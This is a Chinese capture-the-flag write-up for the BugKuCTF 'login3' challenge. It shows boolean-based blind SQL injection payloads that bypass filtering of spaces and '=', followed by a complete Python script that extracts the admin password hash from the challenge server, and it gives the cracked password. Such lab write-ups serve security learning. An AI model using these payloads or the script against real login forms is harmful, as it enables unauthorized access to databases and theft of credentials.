BugKuCTF中套路满满的题-------login3(SKCTF)
根据题目给的提示,无疑是基于bool的盲注,而关于盲注的一般都与脚本有关,毕竟很少人会去一个一个猜
然而,再用脚本解决这个问题时,也需要找到准确的注入语句,否则,白费。。。
首先进入页面一试用户名为admin,发现密码报错(说明此用户存在,那么关键的问题就是密码了。。):
再构造语句,进行几次的基于bool盲注的注入,查看一下有没有绕过一些特殊的语句
username='^(1)^1#&password=123
在测试过程中,发现过滤了 ‘空格’ 以及 ’=‘ ,则空格可以使用 () 代替,=可以使用 <> 代替,即:
username='^(select(ascii(mid((select(flag)from(flag))from(1)))<>103))^1&password=123
username='^(select(ascii(mid((select(password)from(admin))from(1)))<>102))^1&password=123
构造好注入语句,就可以开始写脚本了:
#coding=utf-8
import requests
import re,string,hashlib
url = 'http://123.206.31.85:49167/'
sss = string.digits + string.lowercase
headers={
'Host' : '123.206.31.85:49167',
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:65.0) Gecko/20100101 Firefox/65.0',
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language' : 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer' : 'http://123.206.31.85:49167/',
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length': '87',
'Cookie' : 'PHPSESSID=qij0np73li9nmm1rog8vo5dm76',
'Connection' : 'keep-alive',
'Upgrade-Insecure-Requests' : '1'
}
answer = ''
for i in range(1, 50):
flag = 0
for j in sss:
postuser = "'^(select(ascii(mid((select(password)from(admin))from(%d)))<>%d))^1#" % (i, ord(j))
data = {'username': postuser, 'password': 'admin'}
html = requests.post(url, headers=headers, data=data).text
html = re.findall(r"<p align='center'>(.*?)</p>", html, re.S)[0]
if 'username does not exist!' in html:
answer += j
flag = 1
print answer
break
if flag == 0:
break
print 'password is ', answer
运行,即可得被加密过的password,使用md5解密得其明文为:skctf123456
再次登陆:username:admin
password : skctf123456
即可得到key。。。。。。。。